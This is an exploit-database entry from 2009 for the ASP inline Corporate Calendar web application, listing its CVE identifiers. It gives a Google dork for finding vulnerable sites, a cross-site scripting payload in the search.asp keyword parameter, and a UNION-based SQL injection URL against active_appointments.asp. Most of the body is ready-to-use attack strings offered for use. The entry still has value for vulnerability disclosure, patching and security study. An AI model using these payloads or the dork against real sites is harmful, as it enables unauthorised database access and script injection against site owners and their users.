asp inline Corporate Calendar - SQL Injection / Cross-Site Scripting
Author: Bl@ckbe@rD
type: webapps
platform: asp
port:
date_added: 2009-05-20
date_updated:
verified: 1
codes: OSVDB-54665;CVE-2009-2243;CVE-2009-2242;OSVDB-54664;CVE-2009-2241
tags:
aliases:
screenshot_url:
application_url:
000000 00000 0000 0000 000 00 000000 0000000 0000 000000 00000
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 00 0 0 0 0 0 0 0 0 00 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
00000 0 0 0 0 0 0 0 0 00000 0000 0 0 0 0 00000 0 0
0 0 0 0 0 0 0 0 000 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 000 0 0 0 0 0 0 0 000 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
000000 0000000 000 0000 000 00 000000 0000000 000 000 00 00000
[+] Script : ASP Talk
[+] Exploit Type : Multiple Exploits (SQL/CSS)
[+] Google Dork : intitle:"ASP inline corporate calendar" inurl:.asp?id=
[+] Contact : blackbeard-sql A.T hotmail.fr
--//--> Exploit :
1)Cross site scripting :
http://[website]/[script]/search.asp?keyword=<script>alert('bl@ckbe@rd');</script>&SearchIn=All
post = <script>alert('Bl@clbe@rD Is Here');</script>
2) Remote sql injection Exploit :
http://[website]/[script]/active_appointments.asp?sortby=Event_Title&order=DESC+union+select+(number of columns)+from+users
[peace xD]
# milw0rm.com [2009-05-21]